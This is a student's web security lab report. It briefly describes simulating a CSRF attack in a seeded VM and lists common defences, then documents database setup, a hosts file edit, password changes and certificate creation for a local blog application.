b: Simulate the attack

We logged in with the help of username and password.




a: The CSRF request happened

When we click the link which was created by the attacker it will redirect us to the page with a pop up that there was an attack.



b: The data is injected into the system

When we click on **OK** on the messaged it will redirect us to the home page which shows that the data is injected to the system.



Task 4 CSRF Defenses

a: CSRF attack

CSRF attacks happen when a user who has been verified sends a malicious request to a web application asking it to carry out an undesirable activity. CSRF attacks take advantage of weak web applications.

The server's failing to compel the client to re-authenticate for each new request activity allowed the attack to lead to this vulnerability.

b: Solution for the attack

There are a couple of things we can take care of from being the victim. They are

- After a session, completely log out of a web application
- Never saving password and username in the browser
- Never clicking on unwanted links which are send by email, messages or any social media platforms
- Disabling HTTP method.
- Using a Secret token.

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Lab 9 Web Application Administration and HTTP Setup

Name:- Niharika S Gadhave Email:- gadhaven1@udayton.edu

Instructor:- Dr. Phu Phung Students ID:- 1017113060

Bitbucket Link: https://bitbucket.org/lbs gadhaven1/ss-lbs-gadhaven1/commits/

Task 0 Web Application Administration and HTTP Setup

a: Database setup

I: Database

```
[11/17/22]seed@VM:~$ mysql -u niharika -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 109
Server version: 5.7.19-Oubuntu0.16.04.1 (Ubuntu)
Copyright (c) 2000, 2017, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysgl> show databases:
Database
 information schema |
 blog
2 rows in set (0.01 sec)
mysql>
```

We created separate database for the web application

ii: New credentials



Edited classes/db.php by putting new username and password.

b: Deployment

i: Using the IP address



Result:



2: In laptop browser

Edited hosts file in laptop

```
##
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255 broadcasthost
::1 localhost
# Added by Docker Desktop
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
127.0.0.1 niharika.myblog.com
# End of section
```

Result:

niharika.myblog.com

My Blog

Home | Admin

Welcome

Welcome to my blog. Leave a comment if you like the new design :)

Be the first to comment

Test


Is it working?

Be the first to comment


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c: Misconfiguration Security

i: Deleted database file (blog.sql)



ii: Changed default password and created new one



Successfully login with new credentials



d: HTTP Setup

i: Created certificate and did the setup for web browser

Certificate

